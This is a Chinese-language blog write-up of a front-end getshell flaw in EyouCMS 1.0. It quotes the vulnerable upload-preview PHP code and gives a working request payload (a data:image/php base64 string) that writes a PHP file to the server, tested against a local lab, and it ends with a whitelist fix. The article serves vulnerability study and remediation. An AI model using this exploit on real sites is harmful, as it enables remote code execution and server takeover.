eyoucms 1.0前台getshell分析
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
|
框架简介
EyouCms是一个自由和开放源码的内容管理系统,它是一个可以独立使用的内容发布系统(CMS)
环境搭建
EyouCms v1.0 源码、phpstudy
在phpstudy新建一个网站(需要把源码放在网站根目录)将源码下载下来解压放在eyoucms目录下浏览器输入http://127.0.0.1:7000进行安装 安装好的前台界面
漏洞点
eyoucms是基于thinkphp5开发的,所以
漏洞出现的位置是:applicationapicontrollerUploadify.php
漏洞函数是:preview()
data:image:将dataurl转成图片image方法。可以利用改方法把恶意代码进行base64编码传入(不只是可以传入图片,还可以传入其他)
例如:传入<?php phpinfo();?>
data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+
存在漏洞的代码如下
$src = file_get_contents('php://input'); //使用php伪协议进行写入
//正则获取是否是图片base64编码数据, data:image/php;base64就可以绕过这个正则.$matches被赋值为搜索出来的结果
if (preg_match("#^data:image/(w+);base64,(.*)$#", $src, $matches)) {
$previewUrl = sprintf(
"%s://%s%s",
isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
$_SERVER['HTTP_HOST'],$_SERVER['REQUEST_URI']
);
$previewUrl = str_replace("preview.php", "", $previewUrl);//获取路径
$base64 = $matches[2]; //获取base64数据
$type = $matches[1]; //获取base64后缀,此时的后缀是php
if ($type === 'jpeg') { //if语句进行判断,如果此时后缀是jpeg则后缀变为jpg,但是如果后缀是php,那后缀还是php,后缀名可以被外部控制
$type = 'jpg';
}
$filename = md5($base64).".$type"; // 将传入的base64进行md5加密形成文件名,$type变量 也就是后缀名 这里我们可以控制
$filePath = $DIR.DIRECTORY_SEPARATOR.$filename; //文件存放的位置,也就是preveiw/文件名
if (file_exists($filePath)) { // 判断文件是否存在,存在则返回存在的路径
die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
} else {
$data = base64_decode($base64); //不存在则进行base64解密,比如写入的是PD9waHAgcGhwaW5mbygpOz8+,则进行base64解密:<?php phpinfo();?>
file_put_contents($filePath, $data); //写入文件,生成文件
die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
}
利用
输入:http://192.168.0.104:7000/index.php/api/Uploadify/preview
如果返回如下界面,则可能存在漏洞
构造写入 首先进行base64编码:PD9waHAgcGhwaW5mbygpOz8+
在线编码平台https://base64.us/post传入:data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+
这里是用的burp进行抓包浏览器中:
http://192.168.0.104:7000/preview/5f38ff3c8c94a7347e0ff5b0c1fb0512.php
python进行漏洞验证
修复方法
设置黑白名单 列如:设置白名单
if (!in_array($type, array('jpg', 'png', 'jpeg', 'gif'), true)) {
exit;
}
欢 迎 加入学习
机器人md5解密丫
原创文章,作者:moonsec,如若转载,请注明出处:https://www.moonsec.com/6078.html